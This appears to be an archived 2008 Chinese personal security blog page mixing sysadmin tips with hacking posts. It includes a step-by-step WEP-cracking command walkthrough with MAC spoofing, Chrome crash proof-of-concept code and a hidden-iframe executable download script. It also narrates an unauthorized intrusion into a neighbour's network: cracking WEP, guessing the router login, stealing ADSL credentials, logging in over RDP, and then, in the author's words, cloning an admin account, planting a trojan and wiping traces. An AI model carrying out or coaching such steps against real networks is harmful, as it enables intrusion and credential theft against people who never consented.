client
dev tun
proto tcp #和server.conf 一致即可
remote 172.16.6.79 1194 #指定vpn server 的IP 地址和端口
resolv-retry infinite #如果解析vpn server 失败则无限次重试
nobind
user nobody
group nobody
persist-key
persist-tun
ca ca.crt
cert client1.crt #这2 行填给client1 生成的密钥文件。client2 client3 相应更改。
key client1.key
#comp-lzo
keepalive 10 120

如果有其他的客户端需要连过来  也采取同样的配置

    3、分配client端的联入地址

给server.confi添加如下行:
client-config-dir ccd
并在vpn server 的/etc/openvpn 目录建立ccd 子目录,并在ccd 目录下建立文件client1,client2,client3(这里的文件名对应”为vpn clients 产生证书和密钥”步骤里的Common Name),当对应得client 连接时,vpn server 会读去对应文件里的配置信息。文件client1 里输入:
ifconfig-push 10.8.0.5 10.8.0.6,即给vpn client1 指定10.8.0.5,对端10.8.0.6 的虚拟链路。

如果有其他的客户端也同样处理,如

client2 内容:ifconfig-push 10.8.0.9 10.8.0.10
client3 内容:ifconfig-push 10.8.0.13 10.8.0.14

分别拷贝server.conf,client1.conf,client2.conf,client3.conf 到vpn server 和对应的client。

    4、启动vpn

分别在各个vpn 计算机启动vpn server 和vpn client

启动server的时候用 守护进程启动

./openvpn –daemon –config /etc/openvpn/server.conf

启动client的时候 用client的配置文件

./openvpn –daemon –config /etc/openvpn/client.conf

查看端口1194端口是否起来,如果两个都起来则查看ifconfig 看vpn网卡是否起来

到这一步,VPN 客户端和服务端可以相互通讯了。10.8.0.1 应该可以ping 通10.8.0.5,10.8.0.9,10.8.0.13。10.8.0.5,10.8.0.9,10.8.0.13 也可以ping 通10.8.0.1

但是此时还仅仅是vpn 客户端与服务器可以通,但此时,vpn的客户端还不能访问服务器端同网段内机器

    5、 vpn client 访问vpn server 所在172.16.6.0/24 网段内计算机

第一种方法,添加如下行到server.conf
push "route 172.16.6.0 255.255.255.0"
push 选项是把选项内容给连接的vpn 客户端执行,也就是在vpn 客户端执行“route 172.16.6.0 255.255.255.0”,即当client 连接时,添加路由到client 的路由表里。对于vpn client1,该选项相当于在vpn client1 的路由表里添加到网络172.16.6.0/24,下一跳为10.8.0.6的路由,这里10.8.0.6 为给vpn client1 分配的虚拟IP 对的服务器端IP,相当于路由到vpn server。

第二种方法,如果不改变server.conf,在vpn client1 里route add –net 172.16.6.0 10.8.0.6 255.255.255.0 效果一样,也可route add –net 172.16.6.0 10.8.0.1 255.255.255.0 直接路由到vpn server 的本端IP 也可,但这样需要在所有的vpn 客户端改变路由表。

这样在vpn 客户端可以ping 通172.16.6.0/24 网段内部计算机了。到此,vpn客户端可以访问服务端同网段的服务器了。

    6、总结
在vpn server 的/etc/rc.local 文件添加如下行:
/usr/local/openvpn/openvpn –daemon --config /etc/openvpn/server.conf --cd /etc/openvpn/
在vpn client1 的/etc/rc.local 文件添加如下行:
/usr/local/openvpn/openvpn –daemon --config /etc/openvpn/client1.conf --cd /etc/openvpn/

这样完成了所有的配置。下面总结如下:
vpn server 的目录/etc/openvpn 下有文件ca.crt,ca.key,dh1024.pem,server.crt,server.key和server.conf 以及子目录ccd。/etc/openvpn/ccd 目录下有文件client1,client2 和client3。

/etc/openvpn/server.conf 内容如下:
;local a.b.c.d
port 1194
proto tcp
dev tun
ca ca.crt
cert server.crt
key server.key # This file should be kept secret
dh dh1024.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt
keepalive 10 120
comp-lzo
user nobody
group nobody
persist-key
persist-tun
status openvpn-status.log
verb 3
client-config-dir ccd
#使vpn clients 能访问vpn server 内部网段计算机
push "route 172.16.6.0 255.255.255.0"
#route 172.31.13.0 255.255.255.0 #使vpn server 能访问中文网计算机

/etc/openvpn/ccd/client1 内容如下:
ifconfig-push 10.8.0.5 10.8.0.6
iroute 172.31.13.0 255.255.255.0

vpn client1 的目录/etc/openvpn 下有文件ca.crt,ca.key client1.crt,client1.key 和client1.conf。
/etc/openvpn/client1.conf 内容如下:
##############################################
# Sample client-side OpenVPN 2.0 config file #
# for connecting to multi-client server. #
##############################################
client
dev tun
proto udp
remote 172.16.6.79 1194
resolv-retry infinite
nobind
user nobody
group nobody
persist-key
persist-tun
ca ca.crt
cert client1.crt
key client1.key
comp-lzo
verb 3
keepalive 10 120

Posted by vitter at 2008-11-14 15:10:41 | 评论 (1) | 引用

November 11, 2008

Windows xp安装sp3后自动更新不能安装问题(自动更新下载后安装失败)解决办法

买了台笔记本,带的vista系统,由于在家里用wpa2不广播的无线,总掉,所以干掉系统装xp。但是在装完sp3后更新了部分补丁后发现问题,update出现问题:

1、进行ms update,可以顺利下载,但是到了安装阶段总是安装失败;
2、系统设为自动更新,也是下载正常,到了安装阶段,安装失败;
3、自己到ms网站单个下载补丁下来,运行安装,可以安装成功。

首先声明我的Windows xp是正版的,在ms网站验证没问题,系统的补丁可以用360之类的更新,可是office的没办法,自动更新的黄色盾牌总出现提示office的补丁,但是无法安装,也不是个办法啊。尤其是这个是老婆的电脑,总因为这个被鄙视似乎也不好,好歹自己也是做安全的啊:(

最后四处查资料找到了解决方法:

在 Windows 中注册 wups2.dll 文件,具体操作步骤如下:

1、停止自动更新服务。为此,请按照下列步骤操作:
a、依次单击“开始”和“运行”,键入 cmd,然后单击“确定”弹出命令提示符窗口。
b、在命令提示符处,键入以下命令并按 Enter: net stop wuauserv

image1

2、 注册 wups2.dll 文件。为此,请按照下列步骤操作:
a.、在命令提示符处,键入以下命令并按 Enter: regsvr32 %windir%\system32\ wups2.dll

image2

注意:对于运行 Windows XP Professional x64 Edition 的计算机,
请输入以下命令,然后按 Enter: regsvr32 %windir%\syswow64\wups2.dll
b、在收到的验证消息上单击“确定”

3、启动自动更新服务。为此,请在命令提示符处键入以下命令,然后按 Enter: net start wuauserv

image2

4、退出命令提示窗口。

5、再次到ms官网进行update,这次下载成功的那些都安装成功了,问题解决。

Posted by vitter at 2008-11-11 22:45:25 | 评论 (0) | 引用

November 04, 2008

今天清除了几个莫名其妙的病毒

今天莫名其妙的中毒了:

image

windows defender报:

image

自动删除了2个exe文件。另外的dll文件上传到http://www.virscan.org/也查出问题了。很是奇怪,当时只用FeedDemon在浏览网站,难道又有什么0day,回头查查看能不能抓到。另外ast查历史记录发现了其他几个有问题的记录:

image

上传到http://www.virscan.org/只发现了2个有问题,另外2个我直接删除了,有问题的2个都是svchost调用的,其中dmserv.dll大部分报病毒,直接干掉了。sens.dll查了下md5发现是被改过了,直接干掉,sp3安装备份的自动恢复出来一个md5没有问题的版本。

10.31晚上不知道做什么了?难道opera也有0day?晚上一般只是lp看youku,当时的历史记录也是youku,有空查下怎么回事吧。

莫名其妙的。。。。。。

Posted by vitter at 2008-11-04 14:26:26 | 评论 (0) | 引用

October 30, 2008

RHEL5.2 32位、64位、原码、扩展盘下载

RedHat企业版都update2了,5月21号发布的,偶都没关注。现在找到下载了:

http://rhel.ieesee.net/uingei/RHEL5.2/

yum源也更新到5.2了,方便大家在线升级:

http://rhel.ieesee.net/rhel5×86/
http://rhel.ieesee.net/rhel5×64/

有空下个升级看看。

Posted by vitter at 2008-10-30 14:33:53 | 评论 (1) | 引用

September 11, 2008

今天发现一个不错的站

可惜要用代理,上面有不少好东东:

http://www.indianz.ch/

国内要用代理:

http://v52.net/index.php?q=uggc%3A%2F%2Fjjj.vaqvnam.pu%2Fjrypbzq.ugzy

Posted by vitter at 2008-09-11 14:57:49 | 评论 (0) | 引用

September 08, 2008

谷歌浏览器第一个远程溢出漏洞

Google Chrome浏览器发布三天后,终于迎来了第一remote buffer overflow。
这个漏洞危害级别目前看来还不是那么高,毕竟需要用户手动的"save as"。
SVRT svrt at bkav.com.vn 发现的:
Google Chrome 0.2.149.27 'SaveAs' Function Buffer Overflow Vulnerability
两个POC:
http://security.bkis.vn/Proof-Of-Concept/PoC-XPSP2.html
http://security.bkis.vn/Proof-Of-Concept/PoC-Crash.html

Posted by vitter at 2008-09-08 11:02:58 | 评论 (0) | 引用

September 04, 2008

谷歌浏览器Chrome的另一个崩溃漏洞和download漏洞

崩溃代码:

<table id="obj">
<script>
obj.createTFoot();
obj.deleteTFoot();
obj.focus();
obj.insertRow();
obj.insertRow();
</script>

点击 chrome_crash_fun.html 出现崩溃:

image

download代码:

<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

Posted by vitter at 2008-09-04 10:05:39 | 评论 (0) | 引用

谷歌浏览器Chrome又一个崩溃漏洞

只要在Chrome的URL栏里输入“:%”字符,就可以将整个浏览器崩溃掉:

image

Posted by vitter at 2008-09-04 09:54:50 | 评论 (0) | 引用

September 03, 2008

秒杀谷歌浏览器

谷歌浏览器0day,谷歌浏览器漏洞,Google Chrome 0da,Google Chrome vulnerability。

Goolge浏览器Chrome的确很cool。
不过有个哥们秒杀Chrome,更cool。

image

漏洞很简单, EVIL:%

用Chrome点击上面的连接就会如上图一样崩溃。

Posted by vitter at 2008-09-03 11:11:53 | 评论 (0) | 引用

September 02, 2008

终于搞定家里的老移动硬盘启动live版的linux了

最近几天在研究几个live版本的linux,正好家里有个很老的移动硬盘:爱国者移动存储王10G的IBM的2.5寸盘,这次就废物利用了。结果发现各种版本的linux内核都不支持这个U盘,包括我的FreeBSD里面也能识别,但是报错:

dmesg:

umass0: ScanLogic USBIDE ScanLogic USBIDE, rev 1.01/2.40, addr 2
umass0: Invalid CSW: tag 336 should be 1
umass0: Invalid CSW: tag 524632 should be 2
umass0: Invalid CSW: tag 524632 should be 3
umass0: Invalid CSW: tag 524632 should be 4
umass0: Invalid CSW: tag 524632 should be 5
umass0: Invalid CSW: tag 524632 should be 6
(da0:umass-sim0:0:0:0): got CAM status 0x4
(da0:umass-sim0:0:0:0): fatal error, failed to attach to device
(da0:umass-sim0:0:0:0): lost device
umass0: Invalid CSW: tag 524632 should be 7
umass0: Invalid CSW: tag 524632 should be 8
umass0: Invalid CSW: tag 524632 should be 9
umass0: Invalid CSW: tag 524632 should be 10
umass0: Invalid CSW: tag 524632 should be 11
(da0:umass-sim0:0:0:0): removing device entry
umass0: at uhub3 port 1 (addr 2) disconnected
umass0: detached

在Linux下也有类似问题,Google了下,发现这个盘的芯片是用的ScanLogic SL11RIDE芯片组,找到一个帖子说:需要刷下硬件。http://www.qbik.ch/usb/devices/showdev.php?id=491

原来该芯片组内的flash里面的程序太旧,无法很好地支持linux。只要到scanlogic公司的主页上(现在已经是cypress公司了,不过升级程序还是可以从scanlogic.com下载)下载一个升级程序,写到flash里面就可以了。

准备照着操作一遍,但是发现scanlogic.com不存在了,而且找了n久也没找到上面提到的那个程序。还好我们有很好的工具:http://www.archive.org/。从这里终于找到了程序下载的缓存:http://web.archive.org/web/20020310122925/http://scanlogic.com/dvk/dvk/sl11ride/disk1/software/setup.exe
或者从我的附件里面下载。

下面说下具体操作过程:

1.找一台windows98第二版的机器。接上USB硬盘,安装驱动使得能够访问里面的分区。注意必须是windows98,不能用2000或XP。

2.下载升级程序。
到页面http://web.archive.org/web/20020307202004/http://scanlogic.com/dvk/dvk/sl11ride/disk1/readme.htm上面看英文说明;
下载驱动和升级程序:
http://web.archive.org/web/20020310122925/http://scanlogic.com/dvk/dvk/sl11ride/disk1/software/setup.exe

3.安装setup.exe,安装到C:默认目录下。看看开始菜单/程序/应该有了一个组scanlogic/usb2ide/,里面有一些批处理。运行usb2ide.bat。询问的时候以回车应答。直至运行结束。

4.现在就可以把USB硬盘插到FreeBSD的机器上了,用dmesg察看信息,略等一会,等linux初始化完毕usb后,就可以使用了。

dmesg

umass0: SL IDE SL IDE, rev 1.10/2.6c, addr 2
da0 at umass-sim0 bus 0 target 0 lun 0
da0: <  > Removable Direct Access SCSI-2 device
da0: 1.000MB/s transfers
da0: 9590MB (19640881 512 byte sectors: 255H 63S/T 1222C)

成功支持ScanLogic SL11RIDE芯片组的移动硬盘盒了。

往里面拷贝了BT3,改好bootinst.bat:
:setupNT
\boot\syslinux\syslinux.exe -ma -f -d \boot\syslinux %DISK%:
goto setupDone

然后重启改成从U盘重启,ok了,不在卡在挂在lzm那了。成功进入BT的界面。

附件:下载驱动和升级程序

Posted by vitter at 2008-09-02 14:57:56 | 评论 (1) | 引用

August 29, 2008

WEP 密码破解教程 BT3 使用

本教程,目的是让大家可以了解破解无线网络的方式,从而加强自己的网络安全性。请不要用于非法目的。
另外,在互联网上,有太多的方法知道你是谁,不要以为用别人的AP就没人找得到你哦。
这里是一个较为详细的BT3  Backtrack 3 破解无线网WEP的一个教程。
首先
http://wiki.remote-exploit.org/index.php/HCL:Laptops
到这个地方确认你的笔记本电脑可以做这个事情。
基本新一点的都是兼容的。
其次,到这里确认你的无线网卡兼容
http://wiki.remote-exploit.org/index.php/HCL:Wireless
补充:
显卡兼容性是最大的问题,IBM X61这种Intel内置显卡是不支持的.
如果你启动不了图形界面,哪么考虑下面两个补丁:
ATI的驱动在这里:
http://wiki.remote-exploit.org/index.php/Modules
Navida的驱动在这里
http://www.offensive-security.com/modules/nvidia.lzm
将下载的模块copy到 x:\BT3\modules 文件夹里即可
然后开始下载你需要的BT3版本:
http://wiki.remote-exploit.org/index.php/Main_Page
个人建议:
如果随便玩玩,或者是台式机,可以下载CD版的那个,因为启动一次时间不短。
如果是笔记本,硬盘又大,可以下载 USB版的那个。
USB版:
http://www.remote-exploit.org/bt3b141207.rar.torrent
http://backtrack.mjdupree.com/bt3b141207.rar
ftp://bt3.aircrack-ng.org/bt3b141207.rar
下载完以后,可以装到一个可以启动的U盘里面,或者直接扔到硬盘上,后面我会说如何用硬盘直接启动这个东西。
-----------------如何变成启动盘--------------------
光盘版的,刻录完就好了,不提了。
USB版的, 随便解压缩到某个U盘的根目录,这样,根目录下有 BT3和Boot两个文件夹。
打开一个DOS窗口, 指向你的U盘目录,比如是H盘,那么
———运行———
H:  +回车
cd boot
bootinst.bat
按提示,确认你的确是在你的U盘的目录下操作。然后OK了。
重启时插入U盘即可启动,如果有任何问题,请确认你的电脑打开了U盘启动,并且被放在第一启动项(ThinkPad可以指定排除某个启动项的,请检查)
或者在启动时按住F12, 选择 U盘启动。
如果是硬盘启动,虽然有很多办法,但是为了VISTA和XP的兼容,个人推荐 DOS启动法,即先弄一个DOS的启动,比如弄一个MouseDOS一类的,傻瓜安装,可以让电脑启动进入纯DOS状态,然后在DOS情况下,进入硬盘上解压出的那个Boot目录里面,里面有个DOS 目录,然后执行BT3.bat 即可。
建议在执行BT3.bat前,先运行一下 Smartdrv.exe ,可以加快启动速度很多。(附件里有 Smartdrv.exe 98版)
小提示:DOS下的启动,不会自动进入图形界面,可以通过编辑 DOS目录里面的 CONFIG文件来实现:
只需要在CONFIG里面,最后加上一句:
autoexec=xconf;kdm
就可以了。
我顺便修改了MouseDOS的 Autoexec.bat文件,直接加上:
smartdrv.exe
D:
cd boot
cd dos
bt3.bat
这样启动直接进入了图形界面。
这时候的BT3,是全部在内存里的,也就是说,在系统内,任何对桌面和配置的改动都不会被记录,所以如果要记录文档,请不要放在桌面上。
———————————破解—————————————
以下是破解过程
WEP 破解
1) ifconfig -a
2) airmon-ng start wifi0 6
3) airodump-ng --ivs -w name -c 6 ath1
4) aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX ath1
-1 is -one
5) aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1
新的第5步: aireplay-ng  -3  -b ap_mac -h XXXXXXXXXX -x  1024  ath1
6) packetforge-ng -0 -a ap_mac -h XXXXXXXXXX -k 255.255.255.255 -l 255.255.255.255 -y fragment-XXXXX-XXXXXX.xor -w mrarp
7) aireplay-ng -2 -r mrarp -x 1024 ath1
8) aircrack-ng -n 64 -b ap_mac name-01.ivs
我提供了样板的文件供下载。
以下一一解释:(运行这些命令都需要打开终端窗口,可以使用Ctrl+C 从文本文件Copy, 然后 Shift+Insert 粘贴入终端窗口)
1)ifconfig -a
这个命令用于找到自己的无线网卡的 Mac地址。请记录下来备用。
2) airmon-ng start wifi0 6
这个命令用于将自己的无线网卡置于Monitor 模式,即类似一个AP的效果,因此可以有抓别人包的功能。
其中 wifi0 是我电脑里面给无线网卡的 ,一般应该都是这个,第一个ifconfig -a命令可以看得到。
wifi0 后面的那个6 ,是需要破解的AP的频道,如果不知道,可以在事前左下角开始菜单里面,找到 第二项 Internet 下面的倒数第二个画着 无线网的一个工具,用它可以看到那些需要破解的AP的频道(Channel)。
运行命令成功以后,你会看到返回的提示显示出现一个 Ath1(如果你是 Athoes的无线网卡的话就是这个,其他的可能不同,不过一般都是XXX1这样)
这个就是你的用于破解的网卡代号
这个命令,简而言之,就是把你的无线网卡置于监控模式,并且指定监控的频道。
如果你发现弄错了频道,那么没关系,重新运行一遍就可以了,不过这个时候,可能就会变成 Ath2...Ath3 等等,但是好像最多运行三次,然后就会失败。
3) airodump-ng --ivs -w name -c 6 ath1
这个命令比较关键,你运行以后,就会列出所有该频道的AP。
其中,6 是指你需要监控的频道,必须和第二个命令里的一样, ath1是刚才第二步出现的别名。
这个命令运行以后,显示的内容比较多,简单介绍一下:
BSSID : 其实就是AP的Mac 地址
PWR: AP信号的大小,一般,低于10,就比较麻烦了,丢包情况严重,比较难破解
RXQ: 干扰的大小
Beacons:发送接受的包,参考信息,在跳说明有数据
#Data: 这个比较重要,是接受到可以用来破解的特殊包,如果一直不变,那么,说明没有客户端连接,破解可能很麻烦,如果对方有大文件在下载,那么这个跳的速度非常快,10来分钟就可以有足够的包来破解了,如果跳得很慢,那么,就需要用一些特殊的方式来破解了。
CH:频道
MB:网络连接速度 54就是54MB
ENC, CIPHER,AUTH
这些是加密方式,我们这次只讨论显示为  WEP 和 WEP+ OPN的
如果显示 WPA TKIP 啥的,只能密码穷举破解,个人认为希望不大。
ESSID: 这个是AP的名字,需要用到的。如果是中文貌似会出问题。因此为了阻挡别人破解,可以用中文的ESSID
过一会儿,下面会显示哪些客户端连接到了哪些AP,针对有些Mac地址加密的,很容易模拟对方客户端的Mac从而骗进去,所以不要简单地相信Mac限制功能。
这个窗口就开着好了,不用关闭,以后的命令,需要重新打开一个终端窗口操作。
4)aireplay-ng -1 0 -e ap_essid -a ap_mac -h XXXXXXXXXX ath1
这一步开始,我们要做一些真正的破解工作,主要是针对那些客户端仅仅连接,没什么流量的AP,这种AP,#Data的增长非常慢,往往需要很长的时间才有可能取得足够的包(一般5位的密码需要10000个包左右,更多的密码就要更多的。。。。)这个时候就需要 aireplay-ng 出面了,顾名思义,这个软件就是 Replay,也就是说,模拟发包。
首先解释命令:
-e ap_essid  就是  -e 之后加上你需要破解的essid ,比如 TP-LINK , linksys 啥的,注意大小写。
-a ap_mac  就是  -a 之后加上你需要破解的AP的Mac地址,第三步BSSID就可以看得到。不需要 :哦。
-h XXXXXXXXXX 就是 -h 之后,加上你的无线网卡的 Mac地址, 在第一步你可以得到。
ath1 ,上面解释过了。
一个样板例子:
aireplay-ng -1 0 -e TP-LINK -a 001900123456 -h 001900345678 ath1
这里有个小的建议,大家可以把以上的命令,都记录在一个文件里,然后把里面的XXXXXXXX都用自己的网卡Mac地址替换掉,这样就不需要每次都输入自己的Mac地址了。每次都可以用Copy Paste的方式来输入,这样可以有效防止什么1 和 l , O和0 的混淆。
这一条命令,是用欺骗的方式,连接上那个AP,因此,如果网络信号不好,可能会执行不成功。
如果成功了,那么会显示Successful :>  字样。否则,请让信号强度大于10。
5)aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1
上一条成功以后,我们需要开始收集那些需要的数据包,才能够进行模拟,并且破解。
所谓的需要的数据包,就是 #Data的数据,如果 #Data一直是0,那么可能会很麻烦,最好的情况是 #Data缓慢增长的这种情况。
解释一下
-b ap_mac 就是你需要破解的AP的Mac 地址,从第三步那里的 BSSID可以找得到。
-h XXXXXXXXXX  就是你自己网卡的Mac地址。
Ath1 和上面一样。。。。。
这一条命令的执行,和#data包有关,如果#Data 没有增加,则这个命令会一直执行,直到捕获一个#Data包。
捕获以后,程序会问你是否需要用这个包来模拟攻击。回答Y即可。
如果攻击成功,则会显示成功,失败往往是因为信号太差造成的, 如果攻击失败(往往是捕获的包有问题),程序重试N次以后,或自动重新开始捕捉包,继续进行即可。
等成功完成以后,会显示一个文件名:fragment-XXXXX-XXXXXX.xor
这个文件名,XXXXX里面是数字,是一个文件。马上会用得到。
这一步是最有可能失败的一步,尽量保持信号好一点。
6) packetforge-ng -0 -a ap_mac -h XXXXXXXXXX -k 255.255.255.255 -l 255.255.255.255 -y fragment-XXXXX-XXXXXX.xor -w mrarp
第六步,参数比较多,解释一下:
-a ap_mac 是待破解的AP的Mac地址,
-h XXXXXXXXX 是你自己的无线网卡Mac地址
fragment-XXXXX-XXXXXX.xor  就是第五步显示的那个文件名。
这一步会很快做完, 显示生成文件到 mrarp啥的,其实就是破解包的准备过程。
7) aireplay-ng -2 -r mrarp -x 1024 ath1
这一步没哈可以修改的,参数解释一下
ath1 是 你的无线网卡的名字
1024 是攻击速度,1024是最大值了,如果你的无线网卡不是MiniPCI的,个人建议设为 512 ,这样不容易死机。
当这一步开始执行,你会看到 第一个终端窗口里面,你破解的那个AP后面的  #Data在飞速增长,一般是 200个/s的速度,我们只需等待即可
8)我们可以新打开一个终端窗口,当 #Data达到 10000个的时候,就可以测试破解了,很多密码都可以 10000左右#Data就算出来
新窗口中运行:
aircrack-ng -n 64 -b ap_mac name-01.ivs
解释一下,
-b ap_mac 对方AP的Mac地址
name-01.ivs 其实是第三步自动生成的一个文件, 如果你多次运行了第三步,那么,可能会生成多个 name-XX.ivs文件, 你可以到对应的文件夹里看一下(就在桌面上的第一个文件夹图标里),找到XX最大的那个,就是你当前正在使用的这个文件。
-n 64 是指破解64位的密码,如果10万以上Data都破解不出来,那就试试 -n 128,估计这个兄弟用了128位加密。
运行以后,如果运气好,一会儿就会显示破解出来的密码,同时会显示 对应的Assic码,如果不是标准Assic码,就是一串数字,记录下来,搞掂。
运气不好的情况,这个程序会继续等待更多的#Data,等到了,就会重新计算一次密码。
小结一下:
本教程只针对 WEP 密码的破解,而且,最好有得到认证的客户端连接在这个AP上,如果没有,有些AP(比如TP-LINK)能够被破解,某些可能就无法破解。
本教程也提供了 模拟Mac地址从而破解 Mac限制的方法
如果你需要你的AP很难被破解,建议:
1)用WPA 加密方式,并且使用不可能被字典猜到的密码,目前还是基本可靠的
2)如果只支持 WEP加密,那么,尽量考虑用隐藏 SSID的方式,这样可以增加破解难度
3)如果只支持 WEP加密,那么,可以考虑使用中文名字作为SSID,这样基本问题不大。
4)一般破解时候,大家都会选择常用的频道,例如 6频道,第三步显示频道的时候,你的AP也会被列出来,那么第一个目标失败的时候,黑客往往会选择第二个容易下手的目标, 但是如果你选择了8、 4、这些奇怪的频道,那么狠客往往懒得重新进入该频道的监控模式,你就可以逃过一劫。不过, 某些廉价AP,往往对6 频道做了优化,这个频道信号最强....这就没办法了。
5)有空换换你的密码:)
又注:联入网络以后,你可以管理他的AP,进行一些优化啥的,往往AP的密码,可能就是WEP的密码。
补充:
其中第5步:
aireplay-ng -5 -b ap_mac -h XXXXXXXXXX ath1 可以用新命令替代:
aireplay-ng  -3  -b ap_mac -h XXXXXXXXXX -x  1024  ath1
这一条命令可以自动地捕捉包,自动的发送包,自动的存为文件.
因此,这一步执行以后,如果开始正确的发收包,则可以看到 Data开始上涨,不过貌似速度会慢一点,用老命令的话,每秒500个增加,用新命令可能只有200个/秒
当足够多的数据包出现以后,可以直接运行第八步,跳过6\7两步。

附件: [smartdrv.exe] SMARTDRV.zip (13.56 K)
附件: [破解命令] CRACK.zip (357 bytes)

Posted by vitter at 2008-08-29 17:10:48 | 评论 (3) | 引用

August 28, 2008

一次小区内的无线路由入侵渗透测试

by:vitter@safechina.net
web:http://www.securitycn.net

  前一段时间在我刚买无线路由的时候,拿笔记本在家做了次小区里面的无线路由渗透测试,籍此再次提醒大家,无线路由安全问题应该引起重视(参加以前文章:《无线不是舍己为人 网络安防同样重要》)。

  查找网络发现有3个信号相当不错的SSID其中2个WPA加密,一个WEP(SSID是TP-LINK)加密。

 图1 无线网络

图1 无线网络

  我们知道WEP加密可以很容易破解掉(参加之前文章《破解无线网络WEP/WPA密钥》、《backtrack3(BT3) usb版 破解WEP无线网络密码详细步骤》、《BT3 破解有客户端无线WEP密码成功 完美支持Intel 2200BG》、《Intel 3945ABG用OmniPeek 4.1抓包破解WEP》),那我们就从WEP的下手吧,具体破解密码的方式就不在此叙述了,参加上述文章。

图2 密码拿到

图2 密码拿到

  密码拿到了,那我们下一步就是连入他的无线网络。

图3 网络连入ok

图3 网络连入ok

  我分到的ip是:192.168.1.1xx

图4 我的ip

图4 我的ip

  下面我们扫描踩点下他的网络。

图5-1 网络踩点1

图5-1 网络踩点1

图5-2 网络踩点2

图5-2 网络踩点2

  由于他的SSID号使我们很容易就知道他应该用的无线路由器的型号:TP-LINK。通过扫描得到ip是192.168.1.1的无线路由开了80端口,我们尝试登录web管理。

图6 无线路由web管理

图6 无线路由web管理

  下一步用户名和密码,先用出厂默认的试试,不行,看来是改过密码的了。

图7 改过密码了

图7 改过密码了

  ok我们再猜猜看,之前扫描到一台主机,ip是192.168.1.1xx,主机名是guoxx,看来这家主人的名字应该叫guoxx,我们来试试看他的无线路由管理用户和密码会不会是这个。

图8 ok了

图8 ok了

  呵呵居然他用户名和密码都是这个,看来主人的安全意识很差啊。ok,我们下一步就是看看他的无线路由配置情况。发现了他是用无线路由器进行ADSL拨号的,运气不错。那从图上来看,有星号,我们试试密码不知道是否能找的到。

图9 adsl拨号配置

图9 adsl拨号配置

  先查看源文件看看,不行,根本就不让查看源文件。看来TP-LINK还是做了限制的,那我们换一个浏览器看看,拿出Opera,再来查源码,用框架、源代码的方式(Ctrl+Shift+U)。

图10 Opera查源码

图10 Opera查源码

  这次ok了,果真找到了明文的密码。

图11 明文密码

图11 明文密码

  看来TP-LINK无线路由还是不安全啊,这么明显的漏洞都有,我用的也是这个品牌的产品啊,还好我都不用他拨号的,太不安全了,这个要给厂商反映下,让他们最好补了漏洞。

  ok,我们找到了他的ADSL的帐号和密码,剩下的事情大家去想吧,有好多用处的哦。

  回过头来我们再进行主机渗透,从图5-2来看,是XP系统,开了3389,以及共享。看来主人用过远程桌面啊。

  我们再次用guoxx这个用户名和密码试试,不行。密码换成ADSL的密码,ok进去了,哈哈,今天运气真的很好啊,没费什么力气,本来还想着可能用到某些远程的漏洞,没想到这么简单就ok了,进去发现居然用搜狗输入法,呵呵,这个版本的还有登录漏洞可以利用,不过密码俺都有了,这个漏洞也没用上。剩下就是克隆个admin的帐号,种个小马,擦pp走人。

  综上,我们需要注意的是:
  一、无线尽量使用安全性稍高的WPA2,关闭DHCP,绑定MAC地址,SSID不进行广播。这样我们的无线网络就安全性高很多,如果别人进入不了我们的网络,这文章的下面都不成了了。
  二、密码不要用自己的中英文名字,更不能用跟自己的主机名一样的,更不能用户名和密码一样,密码要大小写字母、数字、特殊符号都有8位以上的密码。
  三、windows尽量关闭不需要的服务,尤其是远程桌面,打全补丁,第三方输入法尽量用安全版本的。

注:欢迎转载,请注明出处:中国安全网-安全您的网络

Posted by vitter at 2008-08-28 12:04:53 | 评论 (1) | 引用

August 27, 2008

sshd:root@notty解决方法

很多人遇到如下问题,linux系统(假设是hosta)运行正常,但是用ssh user@hosta的时候一直等待,在hosta上有sshd:root@notty这样的进程(登陆用户不同可能显示不是root),但是ssh user@hosta command却可以正常执行命令command。

问题出在sshd启动伪终端的时候,找不到/dev/ptmx这个设备文件或者/dev/pts这个文件系统没有mount。
解决方法是,首先检查是否有/dev/ptmx这个字符设备文件,如果没有用mknod /dev/ptmx c 5 2创建,然后用mount -t devpts devpts /dev/pts挂载/dev/pts文件系统。

Posted by vitter at 2008-08-27 10:22:04 | 评论 (0) | 引用

August 20, 2008

Defcon 2008的ISO

下载地址:Download the Defcon16 ISO here

还有BlackHat 2008的:Download

Posted by vitter at 2008-08-20 11:03:04 | 评论 (0) | 引用

August 14, 2008

透析Linux日志查入侵

日志对于网络安全来说无疑是非常重要的,它记录了系统每天发生的各种各样的事,你可以通过它来检查错误发生的原因,或者受到攻击后攻击者留下的痕迹。日志主要的功能有审计和监测,同时它也可以实时的监测系统状态,监测入侵者。

日志子系统分类
在Linux系统中,有三个主要的日志子系统:
连接时间日志——由多个程序执行,把纪录写入到/var/log/Wtmp和/var/run/Utmp,Login等程序更新Wtmp和Utmp文件,使系统管理员能够跟踪谁在何时登录到系统。
进程统计——由系统内核执行。当一个进程终止时,为每个进程往进程统计文件(Pacct或Acct)中写一个纪录。进程统计的目的是为系统中的基本服务提供命令使用统计。
错误日志——由Syslogd(8)执行。各种系统守护进程、用户程序和内核通过Syslog(3)向文件/var/log/messages报告值得注意的事件。另外有许多UNIX程序创建日志。像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。
常用的日志文件如下:
Access-log:纪录HTTP/WEB的传输。
Acct/pacct:纪录用户命令。
Aculog:纪录MODEM的活动。
Btmp:纪录失败的纪录。
Lastlog:纪录最近几次成功登录的事件和最后一次不成功的登录。
Messages:从Syslog中记录信息(有的链接到Syslog文件)。
Sudolog:纪录使用Sudo发出的命令。
Sulog:纪录“su”的使用。
Utmp:纪录当前登录的每个用户。
Wtmp:一个用户每次登录进入和退出时间的永久纪录。
Xferlog:纪录FTP会话。

日志记录基本过程
